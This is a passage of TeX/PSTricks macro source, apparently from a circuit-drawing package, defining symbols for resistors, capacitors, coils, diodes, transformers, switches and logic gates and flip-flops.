\pcline[arrows=-](dipole@@@2)(dipole@@2) - \ifPst@parallel@node - \pscircle*(dipole@@1){2\pslinewidth} - \pscircle*(dipole@@2){2\pslinewidth} - \fi - \pcline[arrows=-,linestyle=none,fillstyle=none,offset=\psk@label@offset](dipole@@@1)(dipole@@@2) - \ncput[nrot=\psk@label@angle]{#4} - \pst@intensity{dipole@@@1}{dipole@@@2} - \pst@tension{dipole@@@1}{dipole@@@2} - \else - \ncput[nrot=:U]{#5} - \pcline[arrowscale=1,arrows=-,linestyle=none,fillstyle=none,offset=\psk@label@offset](#2)(#3) - \ncput[nrot=\psk@label@angle]{#4} -%%%%% - \ifPst@inputarrow - \ifx\psk@Dinput\pst@Dinput@right - \pcline[fillstyle=none,arrows=-C](#2)(dipole@1) - \pcline[fillstyle=none,arrows=->,arrowinset=0](#3)(dipole@2) - \else - \pcline[fillstyle=none,arrows=->,arrowinset=0](#2)(dipole@1) - \pcline[fillstyle=none,arrows=C-](dipole@2)(#3) - \fi - \else - \pcline[arrowscale=1,fillstyle=none,arrows=-C](#2)(dipole@1) - \pcline[arrowscale=1,fillstyle=none,arrows=C-](dipole@2)(#3) - \fi - \pcline[fillstyle=none,linestyle=none](#2)(#3) -%%%%% - \pst@intensity{#2}{#3} - \pst@tension{#2}{#3} - \fi% -}% -% -\def\pst@intensity#1#2{% - \ifPst@intensity - \ifPst@directconvention - \pcline[arrows=-,linestyle=none,fillstyle=none](#1)(dipole@1) - \ncput[nrot=:U]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \pcline[arrows=-,linestyle=none,fillstyle=none,offset=\psk@I@label@offset](#1)(dipole@1) - \ncput[nrot=\psk@label@angle]{\csname\psk@I@labelcolor\endcsname\psk@I@label} - \else - \pcline[arrows=-,linestyle=none,fillstyle=none](dipole@2)(#2) - \ncput[nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width]{<-}(-.1,0)(.1,0)} - \pcline[arrows=-,linestyle=none,fillstyle=none,offset=\psk@I@label@offset](dipole@2)(#2) - \ncput[nrot=\psk@label@angle]{\csname\psk@I@labelcolor\endcsname\psk@I@label} - \fi - \fi -} -% -\def\pst@tension#1#2{% - \ifPst@tension - \pcline[arrows=-,linestyle=none,fillstyle=none,% - offset=\psk@tension@offset](#1)(dipole@1) - \ncput[npos=.5]{\pnode{tension@1}} - \pcline[arrows=-,linestyle=none,fillstyle=none, - offset=-\psk@tension@offset](#2)(dipole@2) - \ncput[npos=.5]{\pnode{tension@2}} - \ifPst@directconvention - \ifPst@Dconvention - \pcline[linecolor=\psk@tension@color, - linewidth=\psk@tension@width,arrowinset=0]{<-}(tension@1)(tension@2) - \else - \pcline[linecolor=\psk@tension@color, - linewidth=\psk@tension@width,arrowinset=0]{->}(tension@1)(tension@2) - \fi - \else - \ifPst@Dconvention - \pcline[linecolor=\psk@tension@color, - linewidth=\psk@tension@width,arrowinset=0]{->}(tension@1)(tension@2) - \else - \pcline[linecolor=\psk@tension@color, - linewidth=\psk@tension@width,arrowinset=0]{<-}(tension@1)(tension@2) - \fi - \fi - \pcline[arrows=-,linestyle=none,fillstyle=none,% - offset=\psk@tension@label@offset](dipole@1)(dipole@2) - \ncput[nrot=\psk@label@angle]{% - \csname\psk@tension@labelcolor\endcsname\psk@tension@label} - \fi -} -% -\def\pst@draw@resistor{% - \ifx\psk@Dstyle\pst@Dstyle@zigzag - \pnode(-0.75,0){dipole@1} - \pnode(0.75,0){dipole@2} - \multips(-0.75,0)(0.5,0){3}{% - \psline[arrows=-,linewidth=1.5\pslinewidth]% - (0,0)(0.125,0.25)(0.375,-0.25)(0.5,0)}% - \else - \pnode(-0.5,0){dipole@1}\pnode(0.5,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth](-0.5,-0.25)(0.5,0.25) - \fi - \ifPst@variable\psline{->}(-0.5,-0.55)(0.5,0.55)\fi - \ifx\psk@Dstyle\pst@Dstyle@varistor - \psline[linewidth=0.8pt](-0.75,-0.55)(-0.5,-0.55)(0.5,0.55)% - \fi -} -% -\def\pst@draw@relais{% - \pnode(-0.25,0){dipole@1}\pnode(0.25,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth](-0.25,-0.5)(0.25,0.5) - \psline(-0.25,-0.2)(0.25,0.2) - \ifPst@variable\psline{->}(-0.5,-0.55)(0.5,0.55)\fi -} -% -\def\pst@draw@RFLine{% - \pnode(-1.5,0){dipole@1} \pnode(1.5,0){dipole@2} - \pscustom[arrows=-]{% - \psellipticarcn(-0.8,0)(0.2,0.3){90}{-90} - \psline(-0.8,-.3)(0.8,-.3) - \psellipticarc(0.8,0)(0.2,0.3){-90}{90} - \psline(-0.8,.3)(0.8,.3)} - \psellipse(-0.8,0)(0.2,0.3) - \pcline[arrows=-](dipole@1)(-0.8,0)\pcline[arrows=-](dipole@2)(1,0)} -% -% pd start ==================================================== -\def\pst@draw@dashpot{% - \pnode(0,0){dipole@1}% - \pnode(0.5,0){dipole@2}% - \psline[linewidth=1.5\pslinewidth]% - (-0.5,-0.5)(0.5,-0.5)(0.5,0.5)(-0.5,0.5)% - \psline[linewidth=1.5\pslinewidth](0,-0.4)(0,0.4)% -} -% pd end ====================================================== -\def\pst@draw@capacitor{% - \bgroup - \psset{linewidth=1.5\pslinewidth}% - \ifx\psk@Dstyle\pst@Dstyle@chemical - \psline[arrows=-](-0.2,-0.5)(-0.2,0.5) - \psarc[arrows=-](1.1875,0){1.0625}{154.8}{205.2} - \pnode(-0.2,0){dipole@1} - \pnode(0.125,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@elektorchemical - \psframe[framearc=0.01,dimen=outer](-0.2284123,0.2743733)(-0.0557103,-0.2743733) - \psframe[framearc=0.01,dimen=outer,fillstyle=solid,fillcolor=black](0.0557103,0.2743733)(0.2284123,-0.2743733) - \pnode(-0.2284123,0){dipole@1} - \pnode(0.2284123,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@elektor - \psframe[framearc=0.01,dimen=outer,fillstyle=solid,fillcolor=black](-0.2284123,0.2743733)(-0.0557103,-0.2743733) - \psframe[framearc=0.01,dimen=outer,fillstyle=solid,fillcolor=black](0.0557103,0.2743733)(0.2284123,-0.2743733) - \pnode(-0.2284123,0){dipole@1} - \pnode(0.2284123,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@crystal - \psline[arrows=-](-0.3,-0.4)(-0.3,0.4) - \psline[arrows=-](0.3,-0.4)(0.3,0.4) - \psframe(-0.2,-0.5)(0.2,0.5) - \pnode(-0.3,0){dipole@1} - \pnode(0.3,0){dipole@2} - \else - \psline[arrows=-](-0.2,-0.5)(-0.2,0.5) - \psline[arrows=-](0.2,-0.5)(0.2,0.5) - \pnode(-0.2,0){dipole@1} - \pnode(0.2,0){dipole@2} - \fi - \fi - \fi - \fi - \ifPst@variable% - \psline[arrows=->](-0.5,-0.55)(0.5,0.55)% - \fi - \egroup -} -% -\def\pst@draw@OA{% - \ifx\psk@tripole@style\pst@tripole@style@french - \psframe[linewidth=1.5\pslinewidth](-1,-0.75)(1,0.75) - \pspolygon(-0.4,-0.2)(-0.4,0.2)(-0.05,0) - \else - \pspolygon[arrows=-](-1,-0.75)(-1,0.75)(1,0)(-1,-0.75) - \ifPst@OApower - \psline{-o}(0,0.375)(0,0.75)\uput[90](0,0.75){$+$} - \psline{-o}(0,-0.375)(0,-0.75)\uput[-90](0,-0.75){$-$} - \fi - \fi - \pnode(-1,0.25){\ifPst@OAinvert Minus@\else Plus@\fi} - \pnode(-1,-0.25){\ifPst@OAinvert Plus@\else Minus@\fi} - \pnode(1,0){S@} - \uput{0.1}[0](-1,0.25){\ifPst@OAinvert$-$\else$+$\fi} - \uput{0.1}[0](-1,-0.25){\ifPst@OAinvert$+$\else$-$\fi} - \ifPst@OAperfect\rput(0.25,0){$\infty$}\fi% -} -% -\def\pst@draw@battery{% - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.10,-0.5)(-0.10,0.5) - \psline[arrows=-,linewidth=3\pslinewidth](0.10,-0.25)(0.10,0.25) - \pnode(-0.1,0){dipole@1} - \pnode(0.1,0){dipole@2} - \ifPst@variable% - \psline{->}(-0.75,-0.5)(0.75,0.5)% - \fi - } -% -\def\pst@draw@coil{% - \ifx\psk@Dstyle\pst@Dstyle@curved - \pscurve[arrows=-](-0.7,0)(-0.6,0.3)(-0.35,0)(-0.4,-0.2) - (-0.5,0)(-0.4,0.3)(-0.15,0)(-0.2,-0.2)(-0.3,0) - (-0.2,0.3)(0.05,0)(0,-0.2)(-0.1,0) - (0,0.3)(0.25,0)(0.2,-0.2)(0.1,0) - (0.2,0.3)(0.45,0)(0.4,-0.2)(0.3,0) - (0.4,0.3)(0.65,0)(0.6,-0.2)(0.5,0) - \pnode(-0.7,0){dipole@1} - \pnode(0.5,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@elektor - \psarcn[arrows=c-](-0.3885794,0){0.1295265}{-180}{0} - \psarcn(-0.1295265,0){0.1295265}{-180}{0} - \psarcn(0.1295265,0){0.1295265}{-180}{0} - \psarcn[arrows=-c](0.3885794,0){0.1295265}{-180}{0} - \pnode(-0.5181058,0){dipole@1} - \pnode(0.5181058,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@elektorcurved - \psarcn[arrows=c-c](-0.408167,0.089453){0.211665}{-155}{-410} - \psarcn[arrows=-c](-0.136056,0.089453){0.211665}{-130}{-410} - \psarcn[arrows=-c](0.136055,0.089453){0.211665}{-130}{-410} - \psarcn[arrows=-c](0.408167,0.089453){0.211665}{-130}{-385} - \pnode(-0.6,0){dipole@1} - \pnode(0.6,0){dipole@2} - \else - \ifx\psk@Dstyle\pst@Dstyle@rectangle - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth,fillstyle=solid,fillcolor=black](-0.5,-0.25)(0.5,0.25) - \else - \pscurve[arrows=-,linewidth=1.5\pslinewidth](-1,0)(-0.75,0.5)(-0.5,0) - \pscurve[arrows=-,linewidth=1.5\pslinewidth](-0.5,0)(-0.25,0.5)(0,0) - \pscurve[arrows=-,linewidth=1.5\pslinewidth](0,0)(0.25,0.5)(0.5,0) - \pscurve[arrows=-,linewidth=1.5\pslinewidth](0.5,0)(0.75,0.5)(1,0) - \pnode(-1,0){dipole@1} - \pnode(1,0){dipole@2} - \fi\fi\fi\fi% - \ifPst@variable\psline{->}(-0.75,-0.5)(0.75,0.5)\fi% - } -% -\def\pst@draw@Ucc{% - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \ifx\psk@Dstyle\pst@Dstyle@diamond - \pspolygon[linewidth=1.5\pslinewidth](-0.5,0)(0,0.5)(0.5,0)(0,-0.5) - \else - \pscircle[linewidth=1.5\pslinewidth](0,0){0.5} - \fi - \ifcase\psk@labelInside\or% do nothing - \psline[arrows=-,linewidth=2\pslinewidth]{->}(-0.35,0)(0.35,0)\or% case 1 - \uput{0.1}[0]{90}(-0.5,0){$-$}% case 2 - \uput{0.1}[0]{90}(0,0){$+$}\or% case 3 - \rput(0,0){\large\bf =} - \fi -} -% -\def\pst@draw@Icc{% - \ifx\psk@Dstyle\pst@Dstyle@twoCircles - \pnode(-0.7,0){dipole@1} - \pnode(0.7,0){dipole@2} - \pscircle[linewidth=1.5\pslinewidth](-0.175,0){0.5} - \pscircle[linewidth=1.5\pslinewidth](0.175,0){0.5} - \else - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \pscircle[linewidth=1.5\pslinewidth](0,0){0.5} - \psline[arrows=-,linewidth=1.5\pslinewidth](0,-0.5)(0,0.5) - \fi% -} -% -\def\pst@draw@switch{% - \ifx\psk@Dstyle\pst@Dstyle@close - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \qdisk(-0.5,0){1.5pt} - \qdisk(0.5,0){1.5pt} - \psline[arrows=-,linewidth=2\pslinewidth](-0.5,0.05)(0.5,0.05) - \else - \pnode(-0.55,0){dipole@1} - \pnode(0.5,0){dipole@2} - \psline[arrows=-,linewidth=2\pslinewidth](-0.5,0)(0.5,0.5) - \psarcn[arrowinset=0]{->}(-0.5,0){0.75}{45}{-45} - \pscircle[fillstyle=solid](-0.5,0){0.07} - \qdisk(0.5,0){1.5pt} - \fi -} -% -\def\pst@draw@diode{% - \ifx\psk@Dstyle\pst@Dstyle@triac - \pspolygon[linewidth=1.5\pslinewidth](-0.25,-0.4)(-0.25,0)(0.25,-0.2) - \pspolygon[linewidth=1.5\pslinewidth](0.25,0)(-0.25,0.2)(0.25,0.4) - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.25,-0.4)(-0.25,0.4) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,-0.4)(0.25,0.4) - \psline[arrows=-,linewidth=\pslinewidth](0.25,-0.2)(0.5,-0.3)(0.5,-0.6) - \else - \pspolygon[arrows=-,linewidth=1.5\pslinewidth](-0.25,-0.2)(-0.25,0.2)(0.25,0) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,0.2)(0.25,-0.2) - \ifx\psk@Dstyle\pst@Dstyle@thyristor - \psline[arrows=-,linewidth=1.5\pslinewidth](0,-0.1)(0,-0.35) - \fi - \ifx\psk@Dstyle\pst@Dstyle@GTO - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.1,-0.12)(-0.1,-0.35) - \psline[arrows=-,linewidth=1.5\pslinewidth](0,-0.1)(0,-0.35) - \fi - \fi - \pnode(-0.25,0){dipole@1} - \pnode(0.25,0){dipole@2} - } -% -\def\pst@draw@Zener{% - \pspolygon[linewidth=1.5\pslinewidth](-0.25,-0.2)(-0.25,0.2)(0.25,0) - \ifx\psk@Dstyle\pst@Dstyle@Z - \psline[arrows=-,linewidth=1.5\pslinewidth](0.1,0.35)(0.25,0.25)(0.25,-0.25)(0.4,-0.35) - \else - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,0.25)(0.25,-0.25)(0,-0.25) - \fi - \pnode(-0.25,0){dipole@1} - \pnode(0.25,0){dipole@2} -} -% -\def\pst@draw@lamp{% - \pscircle[linewidth=1.5\pslinewidth]{0.5} - \psline[arrows=-,linewidth=1.5\pslinewidth](0.5;45)(0.5;225) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.5;135)(0.5;315) - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} -} -% -\def\pst@draw@circledipole{% - \pscircle[linewidth=1.5\pslinewidth]{0.5} - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} -} -% -\def\pst@draw@LED{% - \pspolygon[arrows=-,linewidth=1.5\pslinewidth](-0.25,-0.2)(-0.25,0.2)(0.25,0) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,0.2)(0.25,-0.2) - \pnode(-0.25,0){dipole@1} - \pnode(0.25,0){dipole@2} - \multips(-0.25,0.3)(0.25,0){3}{\psline[arrows=->](0.25,0.22)}% -} -% -\def\pst@draw@Tswitch{% - \ifx\psk@tripole@style\pst@tripole@style@right - \psline[arrows=-,linewidth=2\pslinewidth](0.5,0)(0,-1) - \psarcn[arrowinset=0]{<-}(0,-1){0.75}{135}{45} - \else - \ifx\psk@tripole@style\pst@tripole@style@left - \psline[arrows=-,linewidth=2\pslinewidth](-0.5,0)(0,-1) - \psarcn[arrowinset=0]{->}(0,-1){0.75}{135}{45} - \else - \psline[arrows=-,linewidth=2\pslinewidth](0,0.1)(0,-1) - \psarcn[linewidth=1pt,arrowinset=0]{<->}(0,-1){0.75}{135}{45} - \fi - \fi - \qdisk(-0.5,0){1.5pt} - \qdisk(0.5,0){1.5pt} - \pscircle[fillstyle=solid](0,-1){0.07} - \pnode(-0.5,0){Tswi@left} - \pnode(0.5,0){Tswi@right} - \pnode(0,-1.05){Tswi@center} -} -% -\def\pst@draw@transformer{ - \ifx\psk@Dstyle\pst@Dstyle@rectangle - \psframe[fillstyle=solid,fillcolor=black](-0.7,-0.75)(-0.2,0.75) - \psframe[fillstyle=solid,fillcolor=black](0.7,-0.75)(0.2,0.75) - \psline[arrows=-,linewidth=0.1cm](0,-0.75)(0,0.75) - \pnode(-0.5,0.75){inup@} - \pnode(-0.5,-0.75){indown@} - \else - \pscurve[arrows=-](-0.5,0.9)(-0.2,0.8)(-0.5,0.7)(-0.7,0.8)(-0.5,0.82)(-0.2,0.6) - (-0.5,0.5)(-0.7,0.6)(-0.5,0.62)(-0.2,0.4) - (-0.5,0.3)(-0.7,0.4)(-0.5,0.42)(-0.2,0.2) - (-0.5,0.1)(-0.7,0.2)(-0.5,0.22)(-0.2,0) - (-0.5,-0.1)(-0.7,0)(-0.5,0.02)(-0.2,-0.2) - (-0.5,-0.3)(-0.7,-0.2)(-0.5,-0.18)(-0.2,-0.4) - (-0.5,-0.5)(-0.7,-0.4)(-0.5,-0.38)(-0.2,-0.6) - (-0.5,-0.7)(-0.7,-0.6)(-0.5,-0.58)(-.2,-0.8)(-0.5,-0.9) - \pscurve[arrows=-](0.5,0.7)(0.2,0.6)(0.5,0.5)(0.7,0.6)(0.5,0.62) - (0.2,0.4)(0.5,0.3)(0.7,0.4)(0.5,0.42) - (0.2,0.2)(0.5,0.1)(0.7,0.2)(0.5,0.22) - (0.2,0.)(0.5,-0.1)(0.7,0)(0.5,0.02) - (0.2,-0.2)(0.5,-0.3)(0.7,-0.2)(0.5,-0.18) - (0.2,-0.4)(0.5,-0.5)(0.7,-0.4)(0.5,-0.38) - (0.2,-0.6)(0.5,-0.7) - \psline[arrows=-](-0.1,0.7)(-0.1,-0.7) - \psline[arrows=-](0,0.7)(0,-0.7) - \psline[arrows=-](0.1,0.7)(0.1,-0.7) - \pnode(-0.5,0.9){inup@} - \pnode(-0.5,-0.9){indown@} - \fi - \pnode(0.5,-0.7){outdown@} - \pnode(0.5,0.7){outup@} -} -% start hv 2003-07-23 -\def\pst@draw@optoCoupler{% -% diode - \pspolygon[linewidth=1.5\pslinewidth](-0.5,-0.25)(-0.7,0.25)(-0.3,0.25) - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.7,-0.25)(-0.3,-0.25) - \psline{->}(-0.2,0.2)(0,0.1) - \psline{->}(-0.2,0)(0,-0.1) -% transistor - \psline[arrows=-,linewidth=4\pslinewidth](0.25,-0.3)(0.25,0.3) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,0)(0.75,0.5) - \psline[arrows=-,linewidth=1.5\pslinewidth](0.25,0)(0.75,-0.5) - \pnode(0.75,-0.5){d@1} - \pnode(0.25,0){d@2} - \ifx\psk@Ttype\pst@Ttype@PNP - \ncline[arrows=-,linestyle=none,fillstyle=none]{d@1}{d@2} - \else - \ncline[arrows=-,linestyle=none,fillstyle=none]{d@2}{d@1} - \fi - \ncput[nrot=:U]{\psline[arrowinset=0,arrowscale=2]{->}(0,0)(.2,0)} - \pnode(-0.5,0.25){inup@} - \pnode(-0.5,-0.25){indown@} - \pnode(0.75,-0.5){outdown@} - \pnode(0.75,0.5){outup@} -} -% -\def\pst@draw@logic[#1]{\@ifnextchar({\pst@draw@logici[#1]}{\pst@draw@logici[#1](0,0)}} -% -\def\pst@draw@logici[#1](#2)#3{{% - \psset{#1}% - \rput[lb](#2){% - \psframe[linewidth=2\pslinewidth](0,0)(\psk@logic@width,\psk@logic@height)% - } - \pst@getcoor{#2}\pst@tempa - \ifPst@logicChangeLR\def\logic@LR{true}\else\def\logic@LR{false}\fi% - \pstVerb{ - /YA \pst@tempa exch pop \pst@number\psyunit div def - /YB YA \psk@logic@height\space add def - \logic@LR {% - /XB \pst@tempa pop \pst@number\psxunit div def - /XA XB \psk@logic@width\space add def - }{% - /XA \pst@tempa pop \pst@number\psxunit div def - /XB XA \psk@logic@width\space add def - } ifelse - /dy YB YA sub def - } - \ifx\psk@logic@type\pst@logic@type@RS%---------------- RS ----------------- - \pnode(! XA YA dy 4 div add){#3S} - \pnode(! XA YA dy 4 div 3 mul add){#3R} - \psline(#3R)(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 4 div 3 mul add) - \psline(#3S)(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 4 div add) - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3R){\psk@logic@nodestyle R} - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3S){\psk@logic@nodestyle S} - \pnode(! XB 0.2 \logic@LR {sub}{add} ifelse YA dy 4 div add){#3Qneg} - \pscircle[linewidth=0.5pt](! XB 0.1 \logic@LR {sub}{add} ifelse YA dy 4 div add){0.1} - \pnode(! XB YA dy 4 div 3 mul add){#3Q} - \psline(#3Q)(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add) - \psline(#3Qneg)(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 4 div add) - \uput[\ifPst@logicChangeLR 0\else 180\fi](#3Q){\psk@logic@nodestyle Q} - \uput{0.4}[\ifPst@logicChangeLR 0\else 180\fi](#3Qneg){\psk@logic@nodestyle $\mathrm{\overline{Q}}$} - \ifPst@logicShowDot - \qdisk(! XA \psk@logic@wireLength\space \logic@LR {add}{sub} ifelse YA dy 4 div 3 mul add){3pt} - \qdisk(! XA \psk@logic@wireLength\space \logic@LR {add}{sub} ifelse YA dy 4 div add){3pt} - \qdisk(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add){3pt} - \qdisk(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 4 div add){3pt} - \fi - \rput[b](!% - /dx XB XA sub 2 div def - XA dx add YA 0.1 add){\psk@logic@labelstyle #3} - \else - \ifx\psk@logic@type\pst@logic@type@D%---------------- D ----------------- - \pnode(! XA YA dy 2 div add){#3C} - \pnode(! XA YA dy 4 div 3 mul add){#3D} - \psline(#3D)(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 4 div 3 mul add) - \psline(#3C)(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 2 div add) - \psline[linewidth=0.5pt](! XA YA dy 2 div add 0.15 add) - (! XA 0.4 \logic@LR {sub}{add} ifelse YA dy 2 div add)(! XA YA dy 2 div add 0.15 sub) - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3D){\psk@logic@nodestyle D} - \uput{0.5}[\ifPst@logicChangeLR 180\else 0\fi](#3C){\psk@logic@nodestyle C} - \pnode(! XB 0.2 \logic@LR {sub}{add} ifelse YA dy 4 div add){#3Qneg} - \pscircle[linewidth=0.5pt](! XB 0.1 \logic@LR {sub}{add} ifelse YA dy 4 div add){0.1} - \pnode(! XB YA dy 4 div 3 mul add){#3Q} - \psline(#3Q)(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add) - \psline(#3Qneg)(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div add) - \uput[\ifPst@logicChangeLR 0\else 180\fi](#3Q){\psk@logic@nodestyle Q} - \uput{0.4}[\ifPst@logicChangeLR 0\else 180\fi](#3Qneg){\psk@logic@nodestyle $\mathrm{\overline{Q}}$} - \ifPst@logicShowDot - \qdisk(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 4 div 3 mul add){3pt} - \qdisk(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 2 div add){3pt} - \qdisk(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add){3pt} - \qdisk(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div add){3pt} - \fi - \rput[b](!% - /dx XB XA sub 2 div def - XA dx add YA 0.1 add){\psk@logic@labelstyle #3} - \else - \ifx\psk@logic@type\pst@logic@type@JK%---------------- JK ----------------- - \multido{\n=1+1}{\psk@logic@JInput}{% - \pnode(!% - /Step dy 2 div \psk@logic@JInput\space div def - /yNew Step \n\space mul def - XA YA yNew add Step 2 div sub){#3J\n} - \pst@getcoor{#3J\n}\pst@tempc - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3J\n){\psk@logic@nodestyle J\n} - \pnode(! - /YC \pst@tempc exch pop \pst@number\psyunit div def - /XC \pst@tempc pop \pst@number\psxunit div def - XC 0.5 \logic@LR {add}{sub} ifelse YC){tempJ\n} - \psline(#3J\n)(tempJ\n)% input - \ifPst@logicShowDot - \qdisk(tempJ\n){3pt} - \fi - } - \multido{\n=1+1}{\psk@logic@KInput}{% - \pnode(!% - /Step dy 2 div \psk@logic@KInput\space div def - /yNew Step \n\space mul def - XA YB yNew sub Step 2 div add){#3K\n} - \pst@getcoor{#3K\n}\pst@tempc - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3K\n){\psk@logic@nodestyle K\n} - \pnode(! - /YC \pst@tempc exch pop \pst@number\psyunit div def - /XC \pst@tempc pop \pst@number\psxunit div def - XC 0.5 \logic@LR {add}{sub} ifelse YC){tempK\n} - \psline(#3K\n)(tempK\n)% input - \ifPst@logicShowDot - \qdisk(tempK\n){3pt} - \fi - } - \psline[linewidth=0.5pt](! XA YA dy 2 div add 0.15 add) - (! XA 0.4 \logic@LR {sub}{add} ifelse YA dy 2 div add)(! XA YA dy 2 div add 0.15 sub) - \pnode(! XA YA dy 2 div add){#3C} - \psline(#3C)(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 2 div add) - \uput{0.5}[\ifPst@logicChangeLR 180\else 0\fi](#3C){\psk@logic@nodestyle C} - \pnode(! XB 0.2 \logic@LR {sub}{add} ifelse YA dy 4 div add){#3Qneg} - \pscircle[linewidth=0.5pt](! XB 0.1 \logic@LR {sub}{add} ifelse YA dy 4 div add){0.1} - \pnode(! XB YA dy 4 div 3 mul add){#3Q} - \psline(#3Q)(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add) - \psline(#3Qneg)(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div add) - \uput[\ifPst@logicChangeLR 0\else 180\fi](#3Q){\psk@logic@nodestyle Q} - \uput{0.4}[\ifPst@logicChangeLR 0\else 180\fi](#3Qneg){\psk@logic@nodestyle $\mathrm{\overline{Q}}$} - \ifPst@logicShowDot - \qdisk(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div 3 mul add){3pt} - \qdisk(! XB 0.5 \logic@LR {sub}{add} ifelse YA dy 4 div add){3pt} - \qdisk(! XA 0.5 \logic@LR {add}{sub} ifelse YA dy 2 div add){3pt} - \fi - \rput[b](!% - /dx XB XA sub 2 div def - XA dx add YA 0.1 add){\psk@logic@labelstyle #3} - \else%---------------- default AND/NAND/OR/NOR/NOT/EXOR/ENOR/USER ----------------- - \ifx\psk@logic@type\pst@logic@type@not - \def\@nMax{1} - \else - \def\@nMax{\psk@logic@nInput} - \fi - \multido{\n=1+1}{\@nMax}{% - \pnode(!% - /Step dy \psk@logic@nInput\space div def - /yNew Step \n\space mul def - XA YA yNew add \@nMax\space 1 gt {Step 2 div sub} if){#3\n} - \pst@getcoor{#3\n}\pst@tempc - \pnode(! - /YC \pst@tempc exch pop \pst@number\psyunit div def - /XC \pst@tempc pop \pst@number\psxunit div def - XC \psk@logic@wireLength\space \logic@LR {add}{sub} ifelse YC){temp#3\n} - \psline(#3\n)(temp#3\n)% input - \ifPst@logicShowDot - \qdisk(temp#3\n){3pt} - \fi - \ifPst@logicShowNode - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3\n){\psk@logic@nodestyle\n} - \fi - } - \ifx\psk@logic@type\pst@logic@type@user - \multido{\n=1+1}{\psk@logic@nOutput}{% - \pnode(!% - /Step dy \psk@logic@nOutput\space div def - /yNew Step \n\space mul def - XB YA yNew add \@nMax\space 1 gt {Step 2 div sub} if){#3Q\n} - \pst@getcoor{#3Q\n}\pst@tempc - \pnode(! - /YC \pst@tempc exch pop \pst@number\psyunit div def - /XC \pst@tempc pop \pst@number\psxunit div def - XC \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YC){temp#3Q\n} - \psline(#3Q\n)(temp#3Q\n)% output - \ifPst@logicShowDot - \qdisk(temp#3Q\n){3pt} - \fi - \ifPst@logicShowNode - \uput[\ifPst@logicChangeLR 180\else 0\fi](#3Q\n){\psk@logic@nodestyle Q\n} - \fi - } - \else - \ifx\psk@logic@type\pst@logic@type@not\else - \ifx\psk@logic@type\pst@logic@type@nand\else - \ifx\psk@logic@type\pst@logic@type@nor\else - \ifx\psk@logic@type\pst@logic@type@exnor\else - \pnode(! XB YA dy 2 div add){#3Q} - \psline(#3Q)(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 2 div add)% output - \ifPst@logicShowDot - \qdisk(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 2 div add){3pt} - \fi - \ifPst@logicShowNode - \uput[\ifPst@logicChangeLR 0\else 180\fi](#3Q){\psk@logic@nodestyle Q} - \fi - \fi - \fi - \fi - \fi - \fi - \ifx\psk@logic@type\pst@logic@type@and\else% NotX output - \ifx\psk@logic@type\pst@logic@type@or\else - \ifx\psk@logic@type\pst@logic@type@exor\else - \ifx\psk@logic@type\pst@logic@type@user\else - \pnode(! XB 0.2 \logic@LR {sub}{add} ifelse YA dy 2 div add){#3Q} - \pscircle[linewidth=0.5pt](! XB 0.1 \logic@LR {sub}{add} ifelse YA dy 2 div add){0.1} - \psline(#3Q)(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 2 div add)% output - \ifPst@logicShowDot - \qdisk(! XB \psk@logic@wireLength\space \logic@LR {sub}{add} ifelse YA dy 2 div add){3pt} - \fi - \ifPst@logicShowNode - \uput{0.4}[\ifPst@logicChangeLR 0\else 180\fi](#3Q){\psk@logic@nodestyle 